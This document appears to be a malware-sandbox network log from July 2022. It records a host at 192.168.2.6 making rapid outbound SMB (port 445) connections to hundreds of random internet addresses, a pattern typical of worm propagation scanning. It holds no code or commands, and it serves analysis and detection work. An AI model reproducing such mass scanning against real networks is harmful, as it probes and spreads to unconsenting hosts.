Jul 21, 2022 04:36:30.522912025 CEST	55112	445	192.168.2.6	128.51.33.102
Jul 21, 2022 04:36:30.523431063 CEST	55113	445	192.168.2.6	6.77.27.123
Jul 21, 2022 04:36:30.524394035 CEST	55115	445	192.168.2.6	207.50.153.95
Jul 21, 2022 04:36:30.524857998 CEST	55116	445	192.168.2.6	7.48.225.171
Jul 21, 2022 04:36:30.528911114 CEST	55124	445	192.168.2.6	163.233.18.212
Jul 21, 2022 04:36:30.529304028 CEST	55125	445	192.168.2.6	21.50.54.34
Jul 21, 2022 04:36:30.530392885 CEST	55127	445	192.168.2.6	215.81.21.23
Jul 21, 2022 04:36:30.530759096 CEST	55128	445	192.168.2.6	106.16.252.106
Jul 21, 2022 04:36:30.610938072 CEST	55133	445	192.168.2.6	190.98.231.53
Jul 21, 2022 04:36:30.655113935 CEST	55134	445	192.168.2.6	207.34.76.189
Jul 21, 2022 04:36:30.664853096 CEST	55135	445	192.168.2.6	82.201.30.108
Jul 21, 2022 04:36:30.664908886 CEST	55136	445	192.168.2.6	20.101.194.24
Jul 21, 2022 04:36:30.665013075 CEST	55137	445	192.168.2.6	214.120.50.188
Jul 21, 2022 04:36:30.665111065 CEST	55140	445	192.168.2.6	175.8.207.77
Jul 21, 2022 04:36:30.665210962 CEST	55142	445	192.168.2.6	144.88.20.34
Jul 21, 2022 04:36:30.665301085 CEST	55143	445	192.168.2.6	51.52.44.141
Jul 21, 2022 04:36:30.665318966 CEST	55144	445	192.168.2.6	13.87.132.214
Jul 21, 2022 04:36:30.665400028 CEST	55147	445	192.168.2.6	170.235.137.4
Jul 21, 2022 04:36:30.665447950 CEST	55148	445	192.168.2.6	77.229.193.254
Jul 21, 2022 04:36:30.715850115 CEST	55155	445	192.168.2.6	74.157.127.121
Jul 21, 2022 04:36:30.735352039 CEST	55157	445	192.168.2.6	108.0.177.170
Jul 21, 2022 04:36:30.736049891 CEST	55160	445	192.168.2.6	20.29.46.86
Jul 21, 2022 04:36:30.736336946 CEST	55166	445	192.168.2.6	109.57.184.5
Jul 21, 2022 04:36:30.736445904 CEST	55168	445	192.168.2.6	111.177.239.156
Jul 21, 2022 04:36:30.736536980 CEST	55170	445	192.168.2.6	39.177.105.222
Jul 21, 2022 04:36:30.736612082 CEST	55171	445	192.168.2.6	133.246.37.126
Jul 21, 2022 04:36:30.736674070 CEST	55174	445	192.168.2.6	5.26.196.131
Jul 21, 2022 04:36:30.736715078 CEST	55173	445	192.168.2.6	204.23.184.179
Jul 21, 2022 04:36:30.741375923 CEST	55175	445	192.168.2.6	207.180.242.66
Jul 21, 2022 04:36:31.271555901 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:31.302203894 CEST	445	55180	77.129.24.1	192.168.2.6
Jul 21, 2022 04:36:31.302357912 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:31.304723978 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:31.552196026 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:31.631330967 CEST	55186	445	192.168.2.6	85.239.116.228
Jul 21, 2022 04:36:31.634262085 CEST	55192	445	192.168.2.6	115.194.148.121
Jul 21, 2022 04:36:31.634871006 CEST	55193	445	192.168.2.6	207.205.176.230
Jul 21, 2022 04:36:31.644350052 CEST	55195	445	192.168.2.6	65.54.66.48
Jul 21, 2022 04:36:31.647294998 CEST	55196	445	192.168.2.6	193.185.52.244
Jul 21, 2022 04:36:31.648648024 CEST	55198	445	192.168.2.6	158.172.241.16
Jul 21, 2022 04:36:31.648751020 CEST	55199	445	192.168.2.6	73.113.98.41
Jul 21, 2022 04:36:31.648766994 CEST	55200	445	192.168.2.6	194.38.147.249
Jul 21, 2022 04:36:31.648850918 CEST	55202	445	192.168.2.6	75.66.21.58
Jul 21, 2022 04:36:31.648991108 CEST	55203	445	192.168.2.6	21.64.168.246
Jul 21, 2022 04:36:31.662342072 CEST	55207	445	192.168.2.6	190.98.231.54
Jul 21, 2022 04:36:31.771586895 CEST	55211	445	192.168.2.6	9.116.68.33
Jul 21, 2022 04:36:31.797530890 CEST	55213	445	192.168.2.6	182.179.139.201
Jul 21, 2022 04:36:31.798151970 CEST	55215	445	192.168.2.6	88.231.244.207
Jul 21, 2022 04:36:31.798428059 CEST	55217	445	192.168.2.6	45.163.215.242
Jul 21, 2022 04:36:31.798495054 CEST	55218	445	192.168.2.6	20.235.237.174
Jul 21, 2022 04:36:31.798800945 CEST	55220	445	192.168.2.6	40.7.114.163
Jul 21, 2022 04:36:31.798891068 CEST	55221	445	192.168.2.6	140.201.17.49
Jul 21, 2022 04:36:31.799005032 CEST	55223	445	192.168.2.6	182.72.14.65
Jul 21, 2022 04:36:31.799170971 CEST	55225	445	192.168.2.6	197.155.115.80
Jul 21, 2022 04:36:31.799285889 CEST	55226	445	192.168.2.6	134.97.36.53
Jul 21, 2022 04:36:31.820636988 CEST	55228	445	192.168.2.6	207.180.242.67
Jul 21, 2022 04:36:31.847378969 CEST	55234	445	192.168.2.6	144.141.89.233
Jul 21, 2022 04:36:31.850716114 CEST	55235	445	192.168.2.6	40.4.238.81
Jul 21, 2022 04:36:31.852313042 CEST	55238	445	192.168.2.6	189.161.178.136
Jul 21, 2022 04:36:31.855766058 CEST	55245	445	192.168.2.6	200.251.146.211
Jul 21, 2022 04:36:31.864725113 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:31.873941898 CEST	55247	445	192.168.2.6	19.142.99.46
Jul 21, 2022 04:36:31.874219894 CEST	55249	445	192.168.2.6	184.59.71.185
Jul 21, 2022 04:36:31.874252081 CEST	55250	445	192.168.2.6	117.147.169.24
Jul 21, 2022 04:36:31.874588966 CEST	55251	445	192.168.2.6	206.244.177.65
Jul 21, 2022 04:36:31.874625921 CEST	55252	445	192.168.2.6	210.88.223.108
Jul 21, 2022 04:36:32.479366064 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:32.725032091 CEST	55262	445	192.168.2.6	190.98.231.55
Jul 21, 2022 04:36:32.758373976 CEST	55263	445	192.168.2.6	131.225.200.242
Jul 21, 2022 04:36:32.758930922 CEST	55265	445	192.168.2.6	70.9.197.59
Jul 21, 2022 04:36:32.758990049 CEST	55266	445	192.168.2.6	75.236.156.210
Jul 21, 2022 04:36:32.758997917 CEST	55267	445	192.168.2.6	87.99.177.244
Jul 21, 2022 04:36:32.774646997 CEST	55273	445	192.168.2.6	131.181.73.82
Jul 21, 2022 04:36:32.774912119 CEST	55276	445	192.168.2.6	57.167.247.246
Jul 21, 2022 04:36:32.774924994 CEST	55274	445	192.168.2.6	124.160.120.145
Jul 21, 2022 04:36:32.775017023 CEST	55278	445	192.168.2.6	54.184.137.225
Jul 21, 2022 04:36:32.775130033 CEST	55277	445	192.168.2.6	159.143.49.83
Jul 21, 2022 04:36:32.775248051 CEST	55280	445	192.168.2.6	195.233.179.122
Jul 21, 2022 04:36:32.897001982 CEST	55287	445	192.168.2.6	207.180.242.68
Jul 21, 2022 04:36:32.897490025 CEST	55288	445	192.168.2.6	220.72.247.12
Jul 21, 2022 04:36:32.918704987 CEST	55289	445	192.168.2.6	89.115.137.27
Jul 21, 2022 04:36:32.919373989 CEST	55292	445	192.168.2.6	14.26.136.197
Jul 21, 2022 04:36:32.919472933 CEST	55294	445	192.168.2.6	50.218.28.61
Jul 21, 2022 04:36:32.919658899 CEST	55293	445	192.168.2.6	213.197.23.142
Jul 21, 2022 04:36:32.919666052 CEST	55297	445	192.168.2.6	153.53.83.173
Jul 21, 2022 04:36:32.919747114 CEST	55298	445	192.168.2.6	55.218.213.235
Jul 21, 2022 04:36:32.919841051 CEST	55300	445	192.168.2.6	164.98.31.100
Jul 21, 2022 04:36:32.919939041 CEST	55302	445	192.168.2.6	119.102.220.91
Jul 21, 2022 04:36:32.919967890 CEST	55303	445	192.168.2.6	3.28.55.167
Jul 21, 2022 04:36:32.962912083 CEST	55310	445	192.168.2.6	130.92.27.225
Jul 21, 2022 04:36:32.977986097 CEST	55312	445	192.168.2.6	32.66.55.40
Jul 21, 2022 04:36:32.978432894 CEST	55320	445	192.168.2.6	221.152.231.215
Jul 21, 2022 04:36:32.978494883 CEST	55322	445	192.168.2.6	197.8.114.91
Jul 21, 2022 04:36:32.992204905 CEST	55324	445	192.168.2.6	185.102.248.41
Jul 21, 2022 04:36:32.992328882 CEST	55323	445	192.168.2.6	125.24.157.245
Jul 21, 2022 04:36:32.992377996 CEST	55325	445	192.168.2.6	172.167.166.138
Jul 21, 2022 04:36:32.992391109 CEST	55326	445	192.168.2.6	209.151.250.166
Jul 21, 2022 04:36:32.993107080 CEST	55327	445	192.168.2.6	78.179.80.142
Jul 21, 2022 04:36:33.677439928 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:33.804100990 CEST	55337	445	192.168.2.6	190.98.231.56
Jul 21, 2022 04:36:33.811954975 CEST	445	55322	197.8.114.91	192.168.2.6
Jul 21, 2022 04:36:33.831934929 CEST	80	49721	93.184.220.29	192.168.2.6
Jul 21, 2022 04:36:33.832932949 CEST	49721	80	192.168.2.6	93.184.220.29
Jul 21, 2022 04:36:33.869802952 CEST	55340	445	192.168.2.6	28.120.113.21
Jul 21, 2022 04:36:33.869810104 CEST	55341	445	192.168.2.6	131.2.254.239
Jul 21, 2022 04:36:33.870045900 CEST	55342	445	192.168.2.6	106.66.12.117
Jul 21, 2022 04:36:33.870120049 CEST	55344	445	192.168.2.6	165.90.157.221
Jul 21, 2022 04:36:33.899338007 CEST	55352	445	192.168.2.6	100.200.106.19
Jul 21, 2022 04:36:33.900146961 CEST	55353	445	192.168.2.6	121.112.217.209
Jul 21, 2022 04:36:33.901144981 CEST	55354	445	192.168.2.6	96.30.143.133
Jul 21, 2022 04:36:33.903150082 CEST	55356	445	192.168.2.6	89.112.188.75
Jul 21, 2022 04:36:33.904184103 CEST	55357	445	192.168.2.6	2.92.161.208
Jul 21, 2022 04:36:33.906507015 CEST	55360	445	192.168.2.6	15.121.150.229
Jul 21, 2022 04:36:33.960130930 CEST	55364	445	192.168.2.6	207.180.242.69
Jul 21, 2022 04:36:34.007071972 CEST	55365	445	192.168.2.6	60.183.174.87
Jul 21, 2022 04:36:34.022264004 CEST	55366	445	192.168.2.6	21.232.120.42
Jul 21, 2022 04:36:34.028760910 CEST	55369	445	192.168.2.6	13.42.129.247
Jul 21, 2022 04:36:34.028805971 CEST	55370	445	192.168.2.6	215.86.100.80
Jul 21, 2022 04:36:34.028966904 CEST	55372	445	192.168.2.6	215.61.22.75
Jul 21, 2022 04:36:34.029023886 CEST	55374	445	192.168.2.6	97.32.24.46
Jul 21, 2022 04:36:34.029078007 CEST	55375	445	192.168.2.6	27.90.214.122
Jul 21, 2022 04:36:34.029218912 CEST	55378	445	192.168.2.6	76.40.77.148
Jul 21, 2022 04:36:34.029258013 CEST	55379	445	192.168.2.6	18.141.6.141
Jul 21, 2022 04:36:34.029304981 CEST	55380	445	192.168.2.6	35.168.24.91
Jul 21, 2022 04:36:34.092372894 CEST	55382	445	192.168.2.6	4.19.168.156
Jul 21, 2022 04:36:34.092906952 CEST	55383	445	192.168.2.6	74.6.4.118
Jul 21, 2022 04:36:34.101850986 CEST	55392	445	192.168.2.6	191.27.1.108
Jul 21, 2022 04:36:34.102062941 CEST	55397	445	192.168.2.6	68.224.36.101
Jul 21, 2022 04:36:34.105143070 CEST	55401	445	192.168.2.6	65.118.146.47
Jul 21, 2022 04:36:34.105151892 CEST	55402	445	192.168.2.6	78.187.138.236
Jul 21, 2022 04:36:34.105345011 CEST	55403	445	192.168.2.6	210.168.140.6
Jul 21, 2022 04:36:34.105448008 CEST	55400	445	192.168.2.6	93.164.140.208
Jul 21, 2022 04:36:34.105700016 CEST	55404	445	192.168.2.6	112.137.44.13
Jul 21, 2022 04:36:34.406728029 CEST	445	55392	191.27.1.108	192.168.2.6
Jul 21, 2022 04:36:34.869252920 CEST	55414	445	192.168.2.6	190.98.231.57
Jul 21, 2022 04:36:34.911931992 CEST	55392	445	192.168.2.6	191.27.1.108
Jul 21, 2022 04:36:34.976020098 CEST	55417	445	192.168.2.6	119.204.156.128
Jul 21, 2022 04:36:34.982553959 CEST	55422	445	192.168.2.6	185.203.146.76
Jul 21, 2022 04:36:34.982583046 CEST	55424	445	192.168.2.6	73.101.44.82
Jul 21, 2022 04:36:34.982713938 CEST	55426	445	192.168.2.6	180.20.56.222
Jul 21, 2022 04:36:35.008514881 CEST	55429	445	192.168.2.6	18.224.74.142
Jul 21, 2022 04:36:35.009525061 CEST	55430	445	192.168.2.6	66.91.110.175
Jul 21, 2022 04:36:35.028976917 CEST	55431	445	192.168.2.6	107.173.186.127
Jul 21, 2022 04:36:35.029884100 CEST	55433	445	192.168.2.6	200.33.184.231
Jul 21, 2022 04:36:35.029968977 CEST	55434	445	192.168.2.6	57.141.111.250
Jul 21, 2022 04:36:35.030100107 CEST	55437	445	192.168.2.6	88.107.138.168
Jul 21, 2022 04:36:35.030846119 CEST	55440	445	192.168.2.6	207.180.242.70
Jul 21, 2022 04:36:35.131752014 CEST	55442	445	192.168.2.6	197.178.163.99
Jul 21, 2022 04:36:35.151953936 CEST	55443	445	192.168.2.6	101.181.11.121
Jul 21, 2022 04:36:35.156704903 CEST	55444	445	192.168.2.6	38.82.184.72
Jul 21, 2022 04:36:35.157618046 CEST	55445	445	192.168.2.6	179.80.99.169
Jul 21, 2022 04:36:35.157643080 CEST	55446	445	192.168.2.6	130.203.137.0
Jul 21, 2022 04:36:35.157799006 CEST	55449	445	192.168.2.6	40.120.244.146
Jul 21, 2022 04:36:35.157809973 CEST	55450	445	192.168.2.6	139.223.181.104
Jul 21, 2022 04:36:35.157923937 CEST	55453	445	192.168.2.6	37.157.247.168
Jul 21, 2022 04:36:35.157994986 CEST	55454	445	192.168.2.6	126.86.113.133
Jul 21, 2022 04:36:35.158062935 CEST	55456	445	192.168.2.6	143.226.40.145
Jul 21, 2022 04:36:35.207025051 CEST	445	55392	191.27.1.108	192.168.2.6
Jul 21, 2022 04:36:35.221409082 CEST	55460	445	192.168.2.6	18.243.154.252
Jul 21, 2022 04:36:35.221926928 CEST	55461	445	192.168.2.6	12.7.172.135
Jul 21, 2022 04:36:35.222024918 CEST	55462	445	192.168.2.6	191.81.179.88
Jul 21, 2022 04:36:35.222095013 CEST	55463	445	192.168.2.6	52.236.153.207
Jul 21, 2022 04:36:35.222186089 CEST	55464	445	192.168.2.6	174.85.22.53
Jul 21, 2022 04:36:35.222306967 CEST	55467	445	192.168.2.6	50.81.158.45
Jul 21, 2022 04:36:35.222515106 CEST	55471	445	192.168.2.6	69.11.140.118
Jul 21, 2022 04:36:35.222837925 CEST	55480	445	192.168.2.6	217.250.61.58
Jul 21, 2022 04:36:35.222887039 CEST	55481	445	192.168.2.6	149.57.27.217
Jul 21, 2022 04:36:35.327163935 CEST	445	55481	149.57.27.217	192.168.2.6
Jul 21, 2022 04:36:35.833790064 CEST	55481	445	192.168.2.6	149.57.27.217
Jul 21, 2022 04:36:35.939176083 CEST	445	55481	149.57.27.217	192.168.2.6
Jul 21, 2022 04:36:35.944928885 CEST	55491	445	192.168.2.6	190.98.231.58
Jul 21, 2022 04:36:36.083830118 CEST	55180	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:36.084595919 CEST	55495	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.101497889 CEST	55496	445	192.168.2.6	206.194.253.216
Jul 21, 2022 04:36:36.102544069 CEST	55497	445	192.168.2.6	166.228.191.44
Jul 21, 2022 04:36:36.102912903 CEST	55499	445	192.168.2.6	55.120.50.223
Jul 21, 2022 04:36:36.103044987 CEST	55501	445	192.168.2.6	61.81.238.112
Jul 21, 2022 04:36:36.105032921 CEST	445	55495	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:36.105199099 CEST	55495	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.105350971 CEST	55495	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.107353926 CEST	55506	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.125513077 CEST	445	55495	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:36.125540018 CEST	445	55495	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:36.131232977 CEST	445	55506	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:36.131345034 CEST	55506	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.131439924 CEST	55506	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.132386923 CEST	55509	445	192.168.2.6	47.216.198.246
Jul 21, 2022 04:36:36.132929087 CEST	55510	445	192.168.2.6	111.223.199.23
Jul 21, 2022 04:36:36.133887053 CEST	55512	445	192.168.2.6	89.199.228.93
Jul 21, 2022 04:36:36.135508060 CEST	55515	445	192.168.2.6	197.237.9.233
Jul 21, 2022 04:36:36.136207104 CEST	55516	445	192.168.2.6	130.254.114.233
Jul 21, 2022 04:36:36.137804985 CEST	55519	445	192.168.2.6	163.4.109.141
Jul 21, 2022 04:36:36.159707069 CEST	445	55506	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:36.159946918 CEST	55506	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.182836056 CEST	445	55506	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:36.183087111 CEST	55506	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:36.206017017 CEST	445	55506	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:36.256644964 CEST	55521	445	192.168.2.6	189.217.63.124
Jul 21, 2022 04:36:36.272465944 CEST	55523	445	192.168.2.6	111.81.186.194
Jul 21, 2022 04:36:36.291656017 CEST	55525	445	192.168.2.6	37.7.193.139
Jul 21, 2022 04:36:36.291696072 CEST	55526	445	192.168.2.6	220.159.61.73
Jul 21, 2022 04:36:36.291826963 CEST	55530	445	192.168.2.6	150.38.194.107
Jul 21, 2022 04:36:36.291953087 CEST	55529	445	192.168.2.6	165.243.110.121
Jul 21, 2022 04:36:36.291959047 CEST	55533	445	192.168.2.6	149.156.97.38
Jul 21, 2022 04:36:36.291984081 CEST	55534	445	192.168.2.6	50.172.116.228
Jul 21, 2022 04:36:36.292090893 CEST	55536	445	192.168.2.6	217.20.113.227
Jul 21, 2022 04:36:36.292109013 CEST	55535	445	192.168.2.6	83.105.147.1
Jul 21, 2022 04:36:36.325278044 CEST	55538	445	192.168.2.6	39.69.142.247
Jul 21, 2022 04:36:36.325680971 CEST	55540	445	192.168.2.6	48.121.238.121
Jul 21, 2022 04:36:36.325783014 CEST	55541	445	192.168.2.6	196.112.70.144
Jul 21, 2022 04:36:36.325874090 CEST	55542	445	192.168.2.6	117.21.229.25
Jul 21, 2022 04:36:36.325984955 CEST	55545	445	192.168.2.6	91.83.26.239
Jul 21, 2022 04:36:36.325990915 CEST	55543	445	192.168.2.6	95.120.166.147
Jul 21, 2022 04:36:36.326180935 CEST	55553	445	192.168.2.6	9.92.74.0
Jul 21, 2022 04:36:36.326354027 CEST	55558	445	192.168.2.6	21.15.124.178
Jul 21, 2022 04:36:36.350132942 CEST	55561	445	192.168.2.6	21.193.68.147
Jul 21, 2022 04:36:37.006735086 CEST	55568	445	192.168.2.6	190.98.231.59
Jul 21, 2022 04:36:37.161077023 CEST	445	55523	111.81.186.194	192.168.2.6
Jul 21, 2022 04:36:37.225274086 CEST	55574	445	192.168.2.6	176.115.155.163
Jul 21, 2022 04:36:37.227237940 CEST	55578	445	192.168.2.6	166.126.15.106
Jul 21, 2022 04:36:37.228018999 CEST	55579	445	192.168.2.6	109.69.144.22
Jul 21, 2022 04:36:37.229994059 CEST	55583	445	192.168.2.6	23.231.121.131
Jul 21, 2022 04:36:37.258061886 CEST	55586	445	192.168.2.6	30.194.37.111
Jul 21, 2022 04:36:37.260339975 CEST	55587	445	192.168.2.6	212.167.35.225
Jul 21, 2022 04:36:37.269397020 CEST	55589	445	192.168.2.6	164.58.176.174
Jul 21, 2022 04:36:37.271344900 CEST	55592	445	192.168.2.6	215.136.134.7
Jul 21, 2022 04:36:37.273361921 CEST	55593	445	192.168.2.6	72.8.239.153
Jul 21, 2022 04:36:37.273507118 CEST	55595	445	192.168.2.6	46.48.63.137
Jul 21, 2022 04:36:37.391639948 CEST	55598	445	192.168.2.6	168.212.159.216
Jul 21, 2022 04:36:37.398158073 CEST	55601	445	192.168.2.6	50.159.7.213
Jul 21, 2022 04:36:37.413701057 CEST	55604	445	192.168.2.6	26.233.114.88
Jul 21, 2022 04:36:37.414238930 CEST	55605	445	192.168.2.6	28.18.237.60
Jul 21, 2022 04:36:37.415199041 CEST	55607	445	192.168.2.6	4.55.217.84
Jul 21, 2022 04:36:37.416156054 CEST	55609	445	192.168.2.6	89.40.154.216
Jul 21, 2022 04:36:37.417145967 CEST	55611	445	192.168.2.6	204.5.78.15
Jul 21, 2022 04:36:37.417941093 CEST	55612	445	192.168.2.6	30.113.16.46
Jul 21, 2022 04:36:37.418486118 CEST	55613	445	192.168.2.6	29.87.12.7
Jul 21, 2022 04:36:37.419022083 CEST	55614	445	192.168.2.6	171.247.56.29
Jul 21, 2022 04:36:37.429999113 CEST	55616	445	192.168.2.6	19.14.176.8
Jul 21, 2022 04:36:37.430568933 CEST	55617	445	192.168.2.6	123.236.144.36
Jul 21, 2022 04:36:37.434602976 CEST	55618	445	192.168.2.6	49.196.93.81
Jul 21, 2022 04:36:37.445244074 CEST	55619	445	192.168.2.6	6.136.186.0
Jul 21, 2022 04:36:37.445328951 CEST	55620	445	192.168.2.6	86.89.6.138
Jul 21, 2022 04:36:37.445461035 CEST	55622	445	192.168.2.6	218.185.65.247
Jul 21, 2022 04:36:37.445651054 CEST	55627	445	192.168.2.6	132.95.65.4
Jul 21, 2022 04:36:37.445933104 CEST	55637	445	192.168.2.6	73.10.133.167
Jul 21, 2022 04:36:37.506767988 CEST	55638	445	192.168.2.6	114.121.14.204
Jul 21, 2022 04:36:37.708621979 CEST	445	55614	171.247.56.29	192.168.2.6
Jul 21, 2022 04:36:38.069674969 CEST	55646	445	192.168.2.6	190.98.231.60
Jul 21, 2022 04:36:38.224673033 CEST	55614	445	192.168.2.6	171.247.56.29
Jul 21, 2022 04:36:38.334633112 CEST	55652	445	192.168.2.6	152.41.89.117
Jul 21, 2022 04:36:38.336736917 CEST	55656	445	192.168.2.6	47.200.129.77
Jul 21, 2022 04:36:38.337301970 CEST	55657	445	192.168.2.6	102.199.111.133
Jul 21, 2022 04:36:38.339112043 CEST	55661	445	192.168.2.6	166.43.64.107
Jul 21, 2022 04:36:38.384162903 CEST	55664	445	192.168.2.6	176.65.214.10
Jul 21, 2022 04:36:38.384176016 CEST	55665	445	192.168.2.6	81.174.148.107
Jul 21, 2022 04:36:38.384249926 CEST	55667	445	192.168.2.6	217.23.152.74
Jul 21, 2022 04:36:38.398575068 CEST	55670	445	192.168.2.6	114.147.81.223
Jul 21, 2022 04:36:38.398685932 CEST	55673	445	192.168.2.6	93.248.189.123
Jul 21, 2022 04:36:38.398724079 CEST	55674	445	192.168.2.6	47.98.38.4
Jul 21, 2022 04:36:38.507941961 CEST	55679	445	192.168.2.6	131.9.99.201
Jul 21, 2022 04:36:38.507947922 CEST	55678	445	192.168.2.6	49.99.222.48
Jul 21, 2022 04:36:38.513995886 CEST	445	55614	171.247.56.29	192.168.2.6
Jul 21, 2022 04:36:38.522732973 CEST	55680	445	192.168.2.6	194.109.151.194
Jul 21, 2022 04:36:38.523535013 CEST	55681	445	192.168.2.6	167.210.230.163
Jul 21, 2022 04:36:38.524040937 CEST	55682	445	192.168.2.6	165.9.170.156
Jul 21, 2022 04:36:38.524665117 CEST	55683	445	192.168.2.6	112.196.46.133
Jul 21, 2022 04:36:38.528959990 CEST	55685	445	192.168.2.6	211.189.65.5
Jul 21, 2022 04:36:38.529011011 CEST	55686	445	192.168.2.6	33.133.57.118
Jul 21, 2022 04:36:38.529149055 CEST	55689	445	192.168.2.6	142.139.8.146
Jul 21, 2022 04:36:38.529381990 CEST	55690	445	192.168.2.6	78.166.89.244
Jul 21, 2022 04:36:38.553770065 CEST	55693	445	192.168.2.6	211.221.205.175
Jul 21, 2022 04:36:38.554548025 CEST	55694	445	192.168.2.6	66.204.125.178
Jul 21, 2022 04:36:38.555855989 CEST	55696	445	192.168.2.6	20.134.235.78
Jul 21, 2022 04:36:38.558640957 CEST	55701	445	192.168.2.6	165.162.184.155
Jul 21, 2022 04:36:38.563630104 CEST	55711	445	192.168.2.6	60.17.58.195
Jul 21, 2022 04:36:38.564116001 CEST	55712	445	192.168.2.6	136.33.85.204
Jul 21, 2022 04:36:38.564610958 CEST	55713	445	192.168.2.6	162.82.163.143
Jul 21, 2022 04:36:38.565576077 CEST	55715	445	192.168.2.6	200.213.11.199
Jul 21, 2022 04:36:38.632004976 CEST	55716	445	192.168.2.6	56.73.36.185
Jul 21, 2022 04:36:39.147562981 CEST	55723	445	192.168.2.6	190.98.231.61
Jul 21, 2022 04:36:39.210102081 CEST	55725	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:39.233316898 CEST	445	55725	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:39.233465910 CEST	55725	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:39.233670950 CEST	55725	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:39.256673098 CEST	445	55725	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:39.257699013 CEST	55725	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:39.280674934 CEST	445	55725	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:39.281102896 CEST	55725	445	192.168.2.6	207.180.242.71
Jul 21, 2022 04:36:39.304541111 CEST	445	55725	207.180.242.71	192.168.2.6
Jul 21, 2022 04:36:39.366259098 CEST	55729	445	192.168.2.6	207.180.242.72
Jul 21, 2022 04:36:39.444237947 CEST	55732	445	192.168.2.6	73.176.59.184
Jul 21, 2022 04:36:39.447765112 CEST	55736	445	192.168.2.6	4.206.41.239
Jul 21, 2022 04:36:39.448410988 CEST	55737	445	192.168.2.6	52.158.217.83
Jul 21, 2022 04:36:39.450546026 CEST	55740	445	192.168.2.6	90.243.254.165
Jul 21, 2022 04:36:39.491460085 CEST	55743	445	192.168.2.6	35.84.167.173
Jul 21, 2022 04:36:39.492562056 CEST	55745	445	192.168.2.6	182.242.30.57
Jul 21, 2022 04:36:39.493329048 CEST	55746	445	192.168.2.6	171.62.7.216
Jul 21, 2022 04:36:39.511749983 CEST	55750	445	192.168.2.6	4.14.241.157
Jul 21, 2022 04:36:39.512608051 CEST	55751	445	192.168.2.6	50.98.71.94
Jul 21, 2022 04:36:39.513928890 CEST	55753	445	192.168.2.6	134.153.163.1
Jul 21, 2022 04:36:39.617024899 CEST	55758	445	192.168.2.6	155.11.124.172
Jul 21, 2022 04:36:39.617579937 CEST	55759	445	192.168.2.6	169.75.217.119
Jul 21, 2022 04:36:39.631685019 CEST	55760	445	192.168.2.6	72.235.141.196
Jul 21, 2022 04:36:39.632222891 CEST	55761	445	192.168.2.6	162.61.16.73
Jul 21, 2022 04:36:39.632754087 CEST	55762	445	192.168.2.6	220.49.18.65
Jul 21, 2022 04:36:39.633255959 CEST	55763	445	192.168.2.6	30.211.64.211
Jul 21, 2022 04:36:39.634244919 CEST	55765	445	192.168.2.6	91.144.164.149
Jul 21, 2022 04:36:39.635257959 CEST	55767	445	192.168.2.6	36.193.98.86
Jul 21, 2022 04:36:39.635778904 CEST	55768	445	192.168.2.6	24.64.190.56
Jul 21, 2022 04:36:39.637880087 CEST	55772	445	192.168.2.6	50.252.44.21
Jul 21, 2022 04:36:39.663549900 CEST	55774	445	192.168.2.6	123.63.9.30
Jul 21, 2022 04:36:39.673301935 CEST	55777	445	192.168.2.6	176.233.66.197
Jul 21, 2022 04:36:39.673312902 CEST	55776	445	192.168.2.6	170.111.192.103
Jul 21, 2022 04:36:39.673840046 CEST	55778	445	192.168.2.6	156.236.43.119
Jul 21, 2022 04:36:39.680902958 CEST	55787	445	192.168.2.6	186.133.91.191
Jul 21, 2022 04:36:39.681026936 CEST	55792	445	192.168.2.6	151.71.86.45
Jul 21, 2022 04:36:39.681081057 CEST	55794	445	192.168.2.6	141.231.9.76
Jul 21, 2022 04:36:39.681446075 CEST	55795	445	192.168.2.6	33.71.187.150
Jul 21, 2022 04:36:39.757596016 CEST	55797	445	192.168.2.6	60.9.87.110
Jul 21, 2022 04:36:40.236833096 CEST	55804	445	192.168.2.6	190.98.231.62
Jul 21, 2022 04:36:40.444221973 CEST	55808	445	192.168.2.6	207.180.242.73
Jul 21, 2022 04:36:40.572542906 CEST	55812	445	192.168.2.6	83.48.125.176
Jul 21, 2022 04:36:40.573226929 CEST	55813	445	192.168.2.6	209.192.15.43
Jul 21, 2022 04:36:40.573307037 CEST	55816	445	192.168.2.6	84.188.37.148
Jul 21, 2022 04:36:40.573466063 CEST	55817	445	192.168.2.6	66.183.37.125
Jul 21, 2022 04:36:40.603629112 CEST	55823	445	192.168.2.6	110.229.186.181
Jul 21, 2022 04:36:40.623531103 CEST	55825	445	192.168.2.6	145.153.77.219
Jul 21, 2022 04:36:40.623673916 CEST	55826	445	192.168.2.6	148.2.139.11
Jul 21, 2022 04:36:40.633138895 CEST	55830	445	192.168.2.6	74.121.105.202
Jul 21, 2022 04:36:40.633923054 CEST	55831	445	192.168.2.6	32.42.65.98
Jul 21, 2022 04:36:40.641659975 CEST	55833	445	192.168.2.6	175.177.195.6
Jul 21, 2022 04:36:40.656289101 CEST	445	55812	83.48.125.176	192.168.2.6
